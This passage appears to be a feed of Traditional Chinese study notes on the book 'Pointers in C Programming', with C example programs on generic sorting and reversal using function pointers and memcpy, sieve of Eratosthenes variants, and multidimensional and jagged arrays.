int *left = array, *right = array + n - 1;
while (left < right) {
left = scan_right(left, right);
right = scan_left(left, right);
swap(left, right);
}
return left - array;
}
void reverse(int n, int array[n])
{
int *left = array, *right = array + n - 1;
while (left < right) {
swap(left++, right--);
}
}
void sort_int(int n, int array[n])
{
if (n <= 0) return;
int m = split(n, array);
if (m > 0) {
radix_sort(m, array);
reverse(m, array);
}
if (m < n) {
radix_sort(n - m, array + m);
}
}
int main(void)
{
int array[] = { -1, -2, 13, 12, 4, 4200, 13, 6, 14, -3, 42, 13 };
int n = sizeof array / sizeof *array;
radix_sort(n, array);
for (int i = 0; i < n; i++) {
printf("%d ", array[i]);
}
printf("\n");
sort_int(n, array);
for (int i = 0; i < n; i++) {
printf("%d ", array[i]);
}
printf("\n");
return 0;
}
]]>
Pointers in C Programming A Modern Approach to Memory Management, Recursive Data Structures, Strings, and Arrays
這本書第六章筆記其之二。
在這一章節,要說的是很有用的技巧--generic function,generic指的是這函式可應付不同型態,不用同一個功能的函式為了不同的型態要重寫好多次。這裡以is_sorted
函式為例。is_sorted
的目的是撿查陣列是否有排序,但陣列的型態可能是字串、整數或浮點數。所以它的函式原型應是這樣:
bool is_sorted(void const *array,
size_t len, size_t obj_size,
compare_function cmp)
因為不知道型態,所以都用size_t
來表示。還有一個compare_function cmp
是給使用者自訂的比較函式。這個函式還是要針對不同的型態去編寫。
重點來了,compare_function
這個型態怎麼來的? 要寫下面這一行:
typedef int (*compare_function)(void const *, void const *);
這是一個函數指標。
is_sorted
完整函式如下:
bool is_sorted(void const *array,
size_t len, size_t obj_size,
compare_function cmp)
{
for (int i = 1; i < len; i++) {
void const *a = (char *)array + (i - 1) * obj_size;
void const *b = (char *)array + i * obj_size;
if (cmp(a, b) > 0) {
// a is larger than b, so the array is not sorted
return false;
}
}
return true;
}
要注意的是下面兩行:
void const *a = (char *)array + (i - 1) * obj_size;
void const *b = (char *)array + i * obj_size;
這是為了可以應對不同型態,乾脆就讓使用這函數的人自己去填目前要使用的型態大小。
完整程式如下:
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
int int_compare(void const *x, void const *y)
{
// Get the objects, and interpret them as integers
int const *a = x;
int const *b = y;
return *a - *b;
}
int string_compare(const void *x, const void *y)
{
// Get the objects and interpet them as strings
char * const *a = x;
char * const *b = y;
return strcmp(*a, *b);
}
typedef int (*compare_function)(void const *, void const *);
bool is_sorted(void const *array,
size_t len, size_t obj_size,
compare_function cmp)
{
for (int i = 1; i < len; i++) {
void const *a = (char *)array + (i - 1) * obj_size;
void const *b = (char *)array + i * obj_size;
if (cmp(a, b) > 0) {
// a is larger than b, so the array is not sorted
return false;
}
}
return true;
}
int main(void)
{
int int_array[] = { 10, 5, 30, 15, 20, 30 };
int int_array_length =
sizeof int_array / sizeof *int_array;
if (is_sorted(int_array, int_array_length,
sizeof *int_array, int_compare)) {
printf("int_array is sorted\n");
} else {
printf("int_array is not sorted\n");
}
qsort(int_array, int_array_length,
sizeof *int_array, int_compare);
if (is_sorted(int_array, int_array_length,
sizeof *int_array, int_compare)) {
printf("int_array is sorted\n");
} else {
printf("int_array is not sorted\n");
}
char *string_array[] = { "foo", "bar", "baz" };
int string_array_length =
sizeof string_array / sizeof *string_array;
if (is_sorted(string_array, string_array_length,
sizeof *string_array, string_compare)) {
printf("string_array is sorted\n");
} else {
printf("string_array is not sorted\n");
}
qsort(string_array, string_array_length,
sizeof *string_array, string_compare);
if (is_sorted(string_array, string_array_length,
sizeof *string_array, string_compare)) {
printf("string_array is sorted\n");
} else {
printf("string_array is not sorted\n");
}
return 0;
}
另一個應用的例子,是反向函數,希望可以把陣列內所有元素都倒著排。
#include <stdio.h>
#include <string.h>
void reverse(void *array, int n, int size)
{
if (n <= 0) return; // avoid right underflow
char *left = array;
char *right = left + size * (n - 1);
char tmp[size];
while (left < right) {
memcpy(&tmp, left, size);
memcpy(left, right, size);
memcpy(right, &tmp, size);
left += size; right -= size;
}
}
int main(void)
{
int int_array[] = { 1, 2, 3, 4, 5 };
int n = sizeof int_array / sizeof *int_array;
reverse(int_array, n, sizeof *int_array);
for (int i = 0; i < n; i++) {
printf("%d ", int_array[i]);
}
printf("\n");
char char_array[] = { 'f', 'o', 'o', 'b', 'a', 'r' };
int m = sizeof char_array / sizeof *char_array;
reverse(char_array, m, sizeof *char_array);
for (int i = 0; i < m; i++) {
printf("%c ", char_array[i]);
}
printf("\n");
return 0;
}
可以發現,以交換函數為例,memcpy是非常好用的--只要知道元素大小,不管是字串或是數字都可用。
第三個例子是插入排序。不管是int_compare
、string_compare
跟
typedef int (*compare_function)(void const *, void const *);
都是跟is_sorted
一樣。而插入排序核心的交換函數swap一樣要用到memcpy,完整程式碼如下:
#include <stdio.h>
#include <string.h>
int int_compare(void const *x, void const *y)
{
// Get the objects, and interpret them as integers
int const *a = x;
int const *b = y;
return *a - *b;
}
int string_compare(const void *x, const void *y)
{
// Get the objects and interpet them as strings
char * const *a = x;
char * const *b = y;
return strcmp(*a, *b);
}
typedef int (*compare_function)(void const *, void const *);
void swap(void *a, void *b, size_t obj_size)
{
char tmp[obj_size];
memcpy(&tmp, a, obj_size);
memcpy(a, b, obj_size);
memcpy(b, &tmp, obj_size);
}
void swap_down(char *start, char *current,
size_t obj_size,
compare_function cmp)
{
while (current != start) {
char *prev = current - obj_size;
if (cmp(prev, current) <= 0) break; // done swapping
swap(prev, current, obj_size);
current = prev;
}
}
void insertion_sort(void *array,
size_t len, size_t obj_size,
compare_function cmp)
{
char *start = array;
for (int i = 1; i < len; i++) {
swap_down(start, start + i * obj_size, obj_size, cmp);
}
}
int main(void)
{
int int_array[] = { 10, 5, 30, 15, 20, 30 };
int int_array_length =
sizeof int_array / sizeof *int_array;
insertion_sort(int_array, int_array_length,
sizeof *int_array, int_compare);
for (int i = 0; i < int_array_length; i++) {
printf("%d ", int_array[i]);
}
printf("\n");
char *string_array[] = { "foo", "bar", "baz" };
int string_array_length =
sizeof string_array / sizeof *string_array;
insertion_sort(string_array, string_array_length,
sizeof *string_array, string_compare);
for (int i = 0; i < string_array_length; i++) {
printf("%s ", string_array[i]);
}
printf("\n");
return 0;
}
]]>Pointers in C Programming A Modern Approach to Memory Management, Recursive Data Structures, Strings, and Arrays
這本書第六章筆記其之二。
在這一章節,要說的是很有用的技巧--generic function,generic指的是這函式可應付不同型態,不用同一個功能的函式為了不同的型態要重寫好多次。這裡以is_sorted
函式為例。is_sorted
的目的是撿查陣列是否有排序,但陣列的型態可能是字串、整數或浮點數。所以它的函式原型應是這樣:
bool is_sorted(void const *array,
size_t len, size_t obj_size,
compare_function cmp)
因為不知道型態,所以都用size_t
來表示。還有一個compare_function cmp
是給使用者自訂的比較函式。這個函式還是要針對不同的型態去編寫。
重點來了,compare_function
這個型態怎麼來的? 要寫下面這一行:
typedef int (*compare_function)(void const *, void const *);
這是一個函數指標。
is_sorted
完整函式如下:
bool is_sorted(void const *array,
size_t len, size_t obj_size,
compare_function cmp)
{
for (int i = 1; i < len; i++) {
void const *a = (char *)array + (i - 1) * obj_size;
void const *b = (char *)array + i * obj_size;
if (cmp(a, b) > 0) {
// a is larger than b, so the array is not sorted
return false;
}
}
return true;
}
要注意的是下面兩行:
void const *a = (char *)array + (i - 1) * obj_size;
void const *b = (char *)array + i * obj_size;
這是為了可以應對不同型態,乾脆就讓使用這函數的人自己去填目前要使用的型態大小。
完整程式如下:
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
int int_compare(void const *x, void const *y)
{
// Get the objects, and interpret them as integers
int const *a = x;
int const *b = y;
return *a - *b;
}
int string_compare(const void *x, const void *y)
{
// Get the objects and interpet them as strings
char * const *a = x;
char * const *b = y;
return strcmp(*a, *b);
}
typedef int (*compare_function)(void const *, void const *);
bool is_sorted(void const *array,
size_t len, size_t obj_size,
compare_function cmp)
{
for (int i = 1; i < len; i++) {
void const *a = (char *)array + (i - 1) * obj_size;
void const *b = (char *)array + i * obj_size;
if (cmp(a, b) > 0) {
// a is larger than b, so the array is not sorted
return false;
}
}
return true;
}
int main(void)
{
int int_array[] = { 10, 5, 30, 15, 20, 30 };
int int_array_length =
sizeof int_array / sizeof *int_array;
if (is_sorted(int_array, int_array_length,
sizeof *int_array, int_compare)) {
printf("int_array is sorted\n");
} else {
printf("int_array is not sorted\n");
}
qsort(int_array, int_array_length,
sizeof *int_array, int_compare);
if (is_sorted(int_array, int_array_length,
sizeof *int_array, int_compare)) {
printf("int_array is sorted\n");
} else {
printf("int_array is not sorted\n");
}
char *string_array[] = { "foo", "bar", "baz" };
int string_array_length =
sizeof string_array / sizeof *string_array;
if (is_sorted(string_array, string_array_length,
sizeof *string_array, string_compare)) {
printf("string_array is sorted\n");
} else {
printf("string_array is not sorted\n");
}
qsort(string_array, string_array_length,
sizeof *string_array, string_compare);
if (is_sorted(string_array, string_array_length,
sizeof *string_array, string_compare)) {
printf("string_array is sorted\n");
} else {
printf("string_array is not sorted\n");
}
return 0;
}
另一個應用的例子,是反向函數,希望可以把陣列內所有元素都倒著排。
#include <stdio.h>
#include <string.h>
void reverse(void *array, int n, int size)
{
if (n <= 0) return; // avoid right underflow
char *left = array;
char *right = left + size * (n - 1);
char tmp[size];
while (left < right) {
memcpy(&tmp, left, size);
memcpy(left, right, size);
memcpy(right, &tmp, size);
left += size; right -= size;
}
}
int main(void)
{
int int_array[] = { 1, 2, 3, 4, 5 };
int n = sizeof int_array / sizeof *int_array;
reverse(int_array, n, sizeof *int_array);
for (int i = 0; i < n; i++) {
printf("%d ", int_array[i]);
}
printf("\n");
char char_array[] = { 'f', 'o', 'o', 'b', 'a', 'r' };
int m = sizeof char_array / sizeof *char_array;
reverse(char_array, m, sizeof *char_array);
for (int i = 0; i < m; i++) {
printf("%c ", char_array[i]);
}
printf("\n");
return 0;
}
可以發現,以交換函數為例,memcpy是非常好用的--只要知道元素大小,不管是字串或是數字都可用。
第三個例子是插入排序。不管是int_compare
、string_compare
跟
typedef int (*compare_function)(void const *, void const *);
都是跟is_sorted
一樣。而插入排序核心的交換函數swap一樣要用到memcpy,完整程式碼如下:
#include <stdio.h>
#include <string.h>
int int_compare(void const *x, void const *y)
{
// Get the objects, and interpret them as integers
int const *a = x;
int const *b = y;
return *a - *b;
}
int string_compare(const void *x, const void *y)
{
// Get the objects and interpet them as strings
char * const *a = x;
char * const *b = y;
return strcmp(*a, *b);
}
typedef int (*compare_function)(void const *, void const *);
void swap(void *a, void *b, size_t obj_size)
{
char tmp[obj_size];
memcpy(&tmp, a, obj_size);
memcpy(a, b, obj_size);
memcpy(b, &tmp, obj_size);
}
void swap_down(char *start, char *current,
size_t obj_size,
compare_function cmp)
{
while (current != start) {
char *prev = current - obj_size;
if (cmp(prev, current) <= 0) break; // done swapping
swap(prev, current, obj_size);
current = prev;
}
}
void insertion_sort(void *array,
size_t len, size_t obj_size,
compare_function cmp)
{
char *start = array;
for (int i = 1; i < len; i++) {
swap_down(start, start + i * obj_size, obj_size, cmp);
}
}
int main(void)
{
int int_array[] = { 10, 5, 30, 15, 20, 30 };
int int_array_length =
sizeof int_array / sizeof *int_array;
insertion_sort(int_array, int_array_length,
sizeof *int_array, int_compare);
for (int i = 0; i < int_array_length; i++) {
printf("%d ", int_array[i]);
}
printf("\n");
char *string_array[] = { "foo", "bar", "baz" };
int string_array_length =
sizeof string_array / sizeof *string_array;
insertion_sort(string_array, string_array_length,
sizeof *string_array, string_compare);
for (int i = 0; i < string_array_length; i++) {
printf("%s ", string_array[i]);
}
printf("\n");
return 0;
}
]]>
Pointers in C Programming A Modern Approach to Memory Management, Recursive Data Structures, Strings, and Arrays
這本書第六章筆記其之一。
要說這兩個主題,可以用篩法的程式來解釋。篩法是可以列出n個數內所有質數的一個方法,原理很簡單,從2開始,,只要被2整除的(也就是2的倍數)都不是質數,全部去掉。去掉2的倍數後,除2以外最小的值是3,再把數列中3的倍數全部去掉,接下來的做法以此類推。
如果不用到指標,陣列版的程式如下:
int compact0(int n, int array[n])
{
int m = 0;
for (int i = 0; i < n; i++) {
if (array[i] > 0)
array[m++] = array[i];
}
return m;
}
int eratosthenes(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
for (int i = 0; i*i < n - 2; i++) {
if (buf[i] == 0) continue;
int p = buf[i];
for (int j = p*p; j < n; j += p) {
buf[j - 2] = 0;
}
}
// Compact
return compact0(n - 2, buf);
}
我們的main裡面有一個buf陣列,傳進去compact0跟eratosthenes後不需return,函式結束後都會使陣列的內容改變,所以只要return陣列中最後一個質數的位置即可。
而這裡的eratosthenes函式的做法,並不是把非質數去掉,而是歸零,所以需要compact0函式把0給去掉,並把數字擠在一起。
指標板就是重點了,其程式碼如下:
int *sieve_candidates_(int *from, int *to, int p)
{
int *output = from;
for (int *input = from ; input < to; input++) {
if (*input % p != 0)
*output++ = *input;
}
return output;
}
int eratosthenes__(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
int *candidates = buf;
int *end = buf + n - 2;
while (candidates < end) {
int p = *candidates++; // Get prime and move it
end = sieve_candidates_(candidates, end, p);
}
return end - buf;
}
最需要注意的是以下程式碼:
for (int *input = from ; input < to; input++) {
if (*input % p != 0)
*output++ = *input;
}
這一段就是直接把陣列裡的數字取代掉,原始陣列如下圖
那是怎麼把2的倍數通通消掉的?(如下圖)
假設目前p==2,*input==5
,那麼目前的ouput在3這個位置上。*output++ = *input;
這句話,會讓ouput往前一格跑到4上面,接下來*input
的值會取代4。接下來的值都是以此類推。
至於回傳型態,可以參照下面程式碼:
void sieve_candidates__(int **from, int **to)
{
int p = *(*from)++;
int *output = *from;
for (int *input = *from ; input < *to; input++) {
if (*input % p != 0)
*output++ = *input;
}
*to = output;
}
int eratosthenes___(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
int *candidates = buf;
int *end = buf + n - 2;
while (candidates < end) {
sieve_candidates__(&candidates, &end);
}
return end - buf;
}
其實跟上面程式碼意思是一模一樣的,但可以發現根本就不用return,直接assign給一個指標就好,這算是把to宣告成雙重指標的好處吧。
完整程式碼如下:
#include <stdio.h>
int compact0(int n, int array[n])
{
int m = 0;
for (int i = 0; i < n; i++) {
if (array[i] > 0)
array[m++] = array[i];
}
return m;
}
int eratosthenes(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
for (int i = 0; i*i < n - 2; i++) {
if (buf[i] == 0) continue;
int p = buf[i];
for (int j = p*p; j < n; j += p) {
buf[j - 2] = 0;
}
}
// Compact
return compact0(n - 2, buf);
}
void sieve_candidates(int **from, int **to, int p)
{
int *output = *from;
for (int *input = *from ; input < *to; input++) {
if (*input % p != 0)
*output++ = *input;
}
*to = output;
}
int eratosthenes_(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
int *candidates = buf;
int *end = buf + n - 2;
while (candidates < end) {
int p = *candidates++; // Get prime and move it
sieve_candidates(&candidates, &end, p);
}
return end - buf;
}
int *sieve_candidates_(int *from, int *to, int p)
{
int *output = from;
for (int *input = from ; input < to; input++) {
if (*input % p != 0)
*output++ = *input;
}
return output;
}
int eratosthenes__(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
int *candidates = buf;
int *end = buf + n - 2;
while (candidates < end) {
int p = *candidates++; // Get prime and move it
end = sieve_candidates_(candidates, end, p);
}
return end - buf;
}
void sieve_candidates__(int **from, int **to)
{
int p = *(*from)++;
int *output = *from;
for (int *input = *from ; input < *to; input++) {
if (*input % p != 0)
*output++ = *input;
}
*to = output;
}
int eratosthenes___(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
int *candidates = buf;
int *end = buf + n - 2;
while (candidates < end) {
sieve_candidates__(&candidates, &end);
}
return end - buf;
}
void print_array(int *begin, int *end)
{
while (begin < end) {
printf("%d ", *begin++);
}
printf("\n");
}
int main(void)
{
int n = 100;
int buf[n - 2];
int m = eratosthenes(n, buf);
print_array(buf, buf + m);
m = eratosthenes_(n, buf);
print_array(buf, buf + m);
m = eratosthenes__(n, buf);
print_array(buf, buf + m);
m = eratosthenes___(n, buf);
print_array(buf, buf + m);
return 0;
}
]]>Pointers in C Programming A Modern Approach to Memory Management, Recursive Data Structures, Strings, and Arrays
這本書第六章筆記其之一。
要說這兩個主題,可以用篩法的程式來解釋。篩法是可以列出n個數內所有質數的一個方法,原理很簡單,從2開始,,只要被2整除的(也就是2的倍數)都不是質數,全部去掉。去掉2的倍數後,除2以外最小的值是3,再把數列中3的倍數全部去掉,接下來的做法以此類推。
如果不用到指標,陣列版的程式如下:
int compact0(int n, int array[n])
{
int m = 0;
for (int i = 0; i < n; i++) {
if (array[i] > 0)
array[m++] = array[i];
}
return m;
}
int eratosthenes(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
for (int i = 0; i*i < n - 2; i++) {
if (buf[i] == 0) continue;
int p = buf[i];
for (int j = p*p; j < n; j += p) {
buf[j - 2] = 0;
}
}
// Compact
return compact0(n - 2, buf);
}
我們的main裡面有一個buf陣列,傳進去compact0跟eratosthenes後不需return,函式結束後都會使陣列的內容改變,所以只要return陣列中最後一個質數的位置即可。
而這裡的eratosthenes函式的做法,並不是把非質數去掉,而是歸零,所以需要compact0函式把0給去掉,並把數字擠在一起。
指標板就是重點了,其程式碼如下:
int *sieve_candidates_(int *from, int *to, int p)
{
int *output = from;
for (int *input = from ; input < to; input++) {
if (*input % p != 0)
*output++ = *input;
}
return output;
}
int eratosthenes__(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
int *candidates = buf;
int *end = buf + n - 2;
while (candidates < end) {
int p = *candidates++; // Get prime and move it
end = sieve_candidates_(candidates, end, p);
}
return end - buf;
}
最需要注意的是以下程式碼:
for (int *input = from ; input < to; input++) {
if (*input % p != 0)
*output++ = *input;
}
這一段就是直接把陣列裡的數字取代掉,原始陣列如下圖
那是怎麼把2的倍數通通消掉的?(如下圖)
假設目前p==2,*input==5
,那麼目前的ouput在3這個位置上。*output++ = *input;
這句話,會讓ouput往前一格跑到4上面,接下來*input
的值會取代4。接下來的值都是以此類推。
至於回傳型態,可以參照下面程式碼:
void sieve_candidates__(int **from, int **to)
{
int p = *(*from)++;
int *output = *from;
for (int *input = *from ; input < *to; input++) {
if (*input % p != 0)
*output++ = *input;
}
*to = output;
}
int eratosthenes___(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
int *candidates = buf;
int *end = buf + n - 2;
while (candidates < end) {
sieve_candidates__(&candidates, &end);
}
return end - buf;
}
其實跟上面程式碼意思是一模一樣的,但可以發現根本就不用return,直接assign給一個指標就好,這算是把to宣告成雙重指標的好處吧。
完整程式碼如下:
#include <stdio.h>
int compact0(int n, int array[n])
{
int m = 0;
for (int i = 0; i < n; i++) {
if (array[i] > 0)
array[m++] = array[i];
}
return m;
}
int eratosthenes(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
for (int i = 0; i*i < n - 2; i++) {
if (buf[i] == 0) continue;
int p = buf[i];
for (int j = p*p; j < n; j += p) {
buf[j - 2] = 0;
}
}
// Compact
return compact0(n - 2, buf);
}
void sieve_candidates(int **from, int **to, int p)
{
int *output = *from;
for (int *input = *from ; input < *to; input++) {
if (*input % p != 0)
*output++ = *input;
}
*to = output;
}
int eratosthenes_(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
int *candidates = buf;
int *end = buf + n - 2;
while (candidates < end) {
int p = *candidates++; // Get prime and move it
sieve_candidates(&candidates, &end, p);
}
return end - buf;
}
int *sieve_candidates_(int *from, int *to, int p)
{
int *output = from;
for (int *input = from ; input < to; input++) {
if (*input % p != 0)
*output++ = *input;
}
return output;
}
int eratosthenes__(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
int *candidates = buf;
int *end = buf + n - 2;
while (candidates < end) {
int p = *candidates++; // Get prime and move it
end = sieve_candidates_(candidates, end, p);
}
return end - buf;
}
void sieve_candidates__(int **from, int **to)
{
int p = *(*from)++;
int *output = *from;
for (int *input = *from ; input < *to; input++) {
if (*input % p != 0)
*output++ = *input;
}
*to = output;
}
int eratosthenes___(int n, int buf[n - 2])
{
// Init
for (int i = 2; i < n; i++) {
buf[i - 2] = i;
}
// Sieve
int *candidates = buf;
int *end = buf + n - 2;
while (candidates < end) {
sieve_candidates__(&candidates, &end);
}
return end - buf;
}
void print_array(int *begin, int *end)
{
while (begin < end) {
printf("%d ", *begin++);
}
printf("\n");
}
int main(void)
{
int n = 100;
int buf[n - 2];
int m = eratosthenes(n, buf);
print_array(buf, buf + m);
m = eratosthenes_(n, buf);
print_array(buf, buf + m);
m = eratosthenes__(n, buf);
print_array(buf, buf + m);
m = eratosthenes___(n, buf);
print_array(buf, buf + m);
return 0;
}
]]>
Pointers in C Programming A Modern Approach to Memory Management, Recursive Data Structures, Strings, and Arrays
這本書第五章筆記。#include <assert.h>
void array_full_size(int A[10][10])
{
// A becomes a pointer to length 10 arrays
assert(sizeof A == sizeof(int (*)[10]));
assert(sizeof *A == 10 * sizeof(int));
}
void array_incomplete_size(int A[][10])
{
// A becomes a pointer to length 10 arrays
assert(sizeof A == sizeof(int (*)[10]));
assert(sizeof *A == 10 * sizeof(int));
}
void pointer(int (*A)[10])
{
// A is explicitly a pointer to length 10 arrays
assert(sizeof A == sizeof(int (*)[10]));
assert(sizeof *A == 10 * sizeof(int));
}
int main(void)
{
int A[10][10];
assert(sizeof A == 10 * 10 * sizeof(int));
array_full_size(A);
array_incomplete_size(A);
pointer(A);
int B[5][10];
assert(sizeof B == 5 * 10 * sizeof(int));
// B's first dimension is wrong, but no warnings
array_full_size(B);
array_incomplete_size(B);
pointer(B);
int C[10][5];
assert(sizeof C == 10 * 5 * sizeof(int));
// You get warnings here, because the
// second dimension doesn't match
array_full_size(C);
array_incomplete_size(C);
pointer(C);
return 0;
}
輸出:
無
程式2:function-calls.c
#include <stdio.h>
void pointer(int *a)
{
printf("pointer: %zu %zu\n", sizeof a, sizeof *a);
}
void array(int a[])
{
printf("array: %zu %zu\n", sizeof a, sizeof *a);
}
void array_with_size(int a[50])
{
printf("array[50]: %zu %zu\n", sizeof a, sizeof *a);
}
void array_with_parameter_size(int n, int a[n])
{
printf("array[n]: %zu %zu\n", sizeof a, sizeof *a);
}
void size_constrained(int a[static 4])
{
printf("size constrained a[0] == %d\n", a[0]);
}
void indirect_size_constrained(int a[static 2])
{
size_constrained(a); // No warning, though 2 < 4
}
void pointer_to_array(int (*a)[3])
{
printf("*a: %zu = %zu x %zu\n",
sizeof *a, sizeof *a / sizeof **a, sizeof **a);
}
void pointer_to_array_n(int n, int (*a)[n])
{
printf("*a with n = %d: %zu = %zu x %zu\n",
n, sizeof *a,
sizeof *a / sizeof **a, sizeof **a);
}
void indirect_pointer_to_array(int n, int (*array)[1])
{
pointer_to_array(array); // Warning, ok bcause 1 < 3
}
int main(void)
{
int n = 100;
int a[n]; a[0] = 42;
int b[2]; b[0] = 13;
int *p = b;
printf("declared: %zu %zu\n", sizeof a, sizeof *a);
pointer(a);
array(a);
array_with_size(a); // Ok, 100 > 5
array_with_size(b); // No warning although 2 < 50
array_with_parameter_size(n, a); // Ok, a has size n
array_with_parameter_size(n, b); // No warning but 2 < 100
size_constrained(b); // Warning (correct, 2 < 4)
size_constrained(p); // No warning, even though p == b
indirect_size_constrained(b); // No warning...
pointer_to_array(&a); // Ok, 100 > 3
pointer_to_array(&b); // Warning (correct 2 < 3)
pointer_to_array_n(10, &a); // Ok since 100 > 10
pointer_to_array_n(50, &b); // No warning, although 2 < 50
pointer_to_array(p); // Warning, ok since p does not point to array
pointer_to_array_n(10, p); // Warning, ditto
indirect_pointer_to_array(2, b);
return 0;
}
輸出:
declared: 400 4
pointer: 8 4
array: 8 4
array[50]: 8 4
array[50]: 8 4
array[n]: 8 4
array[n]: 8 4
size constrained a[0] == 13
size constrained a[0] == 13
size constrained a[0] == 13
*a: 12 = 3 x 4
*a: 12 = 3 x 4
*a with n = 10: 40 = 10 x 4
*a with n = 50: 200 = 50 x 4
*a: 12 = 3 x 4
*a with n = 10: 40 = 10 x 4
*a: 12 = 3 x 4
程式3:function-calls.c
#include <stdio.h>
#include <assert.h>
int main(void)
{
int array[] = { 0, 1, 2, 3, 4 };
int n = sizeof array / sizeof *array;
int *jp = array;
for (int i = 0; i < 5; i++) {
assert(array + i == jp + i);
assert(array[i] == jp[i]);
assert(array[i] == *(array + i));
assert(jp[i] == *(jp + i));
assert(i[array] == i[jp]);
}
int *ip = array;
char *p = (char *)array;
for (int i = 0; i < n; i++) {
printf("%p %p %p\n",
// int array has the right offset
(void *)(array + i),
// int * has the right offset
(void *)(ip + i),
// void * jumps in bytes...
(void *)(p + i * sizeof(int)));
}
char *end = (char *)array + sizeof array;
for (ip = array, p = (char *)array;
p != end;
ip++, p += sizeof *ip) {
printf("%p %p\n", (void *)ip, (void *)p);
}
return 0;
}
輸出:
0x7fff00748fa0 0x7fff00748fa0 0x7fff00748fa0
0x7fff00748fa4 0x7fff00748fa4 0x7fff00748fa4
0x7fff00748fa8 0x7fff00748fa8 0x7fff00748fa8
0x7fff00748fac 0x7fff00748fac 0x7fff00748fac
0x7fff00748fb0 0x7fff00748fb0 0x7fff00748fb0
0x7fff00748fa0 0x7fff00748fa0
0x7fff00748fa4 0x7fff00748fa4
0x7fff00748fa8 0x7fff00748fa8
0x7fff00748fac 0x7fff00748fac
0x7fff00748fb0 0x7fff00748fb0
程式4:jagged.c
#include <stdio.h>
#include <assert.h>
int main(void)
{
double *A[] = {
(double[]){1},
(double[]){2, 3},
(double[]){4, 5, 6}
};
int n = sizeof A / sizeof *A;
for (int i = 0; i < n; i++) {
for (int j = 0; j <= i; j++) {
printf("%2.2f ", A[i][j]);
}
printf("\n");
}
// not true: assert(sizeof A == 6 * sizeof(double));
assert(sizeof A == 3 * sizeof(double *));
assert(sizeof A[0] == sizeof(double *));
assert(sizeof A[1] == sizeof(double *));
assert(sizeof A[2] == sizeof(double *));
double row0[] = {1};
double row1[] = {2, 3};
double row2[] = {4, 5, 6};
double *B[] = { row0, row1, row2 };
assert(sizeof B == sizeof A);
assert(sizeof B[0] == sizeof A[0]);
double **p_A = A;
assert(p_A[0] == A[0]);
assert(p_A[1] == A[1]);
assert(p_A[0][0] == A[0][0]);
double *p_A1 = A[1];
assert(p_A1[0] == A[1][0]);
assert(p_A1[1] == A[1][1]);
return 0;
}
輸出:
1.00
2.00 3.00
4.00 5.00 6.00
注意以下這些宣告方式
double *A[] = {
(double[]){1},
(double[]){2, 3},
(double[]){4, 5, 6}
};
double row0[] = {1};
double row1[] = {2, 3};
double row2[] = {4, 5, 6};
double *B[] = { row0, row1, row2 };
程式5:matrix.c(2*2
矩陣相乘)
#include <stdio.h>
void mult(int n, int m, int l,
double C[n][m],
double const A[n][l],
double const B[l][m])
{
for (int i = 0; i < n; i++) {
for (int j = 0; j < m; j++) {
double x = 0.0;
for (int k = 0; k < l; k++) {
x += A[i][k] * B[k][j];
}
C[i][j] = x;
}
}
}
void print_matrix(int n, int m, double const A[n][m])
{
for (int i = 0; i < n; i++) {
for (int j = 0; j < m; j++) {
printf("%2.2f ", A[i][j]);
}
printf("\n");
}
}
int main(void)
{
double A[2][3] = {
{ 1, 2, 3 },
{ 4, 5, 6 }
};
double B[3][2] = {
{ 1, 2 },
{ 3, 4 },
{ 5, 6 }
};
double C[2][2];
mult(2, 2, 3, C, A, B);
print_matrix(2, 2, C);
return 0;
}
輸出:
22.00 28.00
49.00 64.00
程式6:multi-dim-repr-2.c
#include <stdio.h>
int main(void)
{
int C[2][2][3] = {
{ { 1, 2, 3 }, { 4, 5, 6 } },
{ { 7, 8, 9 }, { 10, 11, 12 } }
};
int dim1 = sizeof C / sizeof C[0];
int dim2 = sizeof C[0] / sizeof C[0][0];
int dim3 = sizeof C[0][0] / sizeof C[0][0][0];
printf("C dimensions %d x %d x %d\n", dim1, dim2, dim3);
printf("First element in each row: ");
int (*first_dim_p)[2][3] = C;
int (*first_end)[2][3] = C + dim1;
for ( ; first_dim_p < first_end; first_dim_p++) {
printf("%d ", *(int*)first_dim_p);
}
printf("\n");
printf("First element in each column: ");
int (*second_dim_p)[3] = (int (*)[3])C;
int (*second_end)[3] = (int (*)[3])C + dim1 * dim2;
for ( ; second_dim_p < second_end; second_dim_p++) {
printf("%d ", *(int*)second_dim_p);
}
printf("\n");
return 0;
}
輸出:
C dimensions 2 x 2 x 3
First element in each row: 1 7
First element in each column: 1 4 7 10
程式7:multi-dim-repr.c
#include <assert.h>
int main(void)
{
int A[2][3] = {
{ 1, 2, 3 },
{ 4, 5, 6 }
};
assert(sizeof A == 2 * 3 * sizeof(int));
assert(sizeof *A == 3 * sizeof(int));
assert(sizeof A[0] == 3 * sizeof(int));
assert(sizeof A[0][0] == sizeof(int));
int *p = (int *)A;
for (int i = 0; i < 2; i++) {
// p now points to the first element in row i
assert(p == A[i]);
for (int j = 0; j < 3; j++) {
// p points to column j in row i
assert(A[i] + j == p);
assert(&A[i][j] == p);
assert(A[i][j] == *p);
p++;
}
}
int B[2][2][3] = {
{ { 1, 2, 3 }, { 4, 5, 6 } },
{ { 7, 8, 9 }, { 10, 11, 12 } }
};
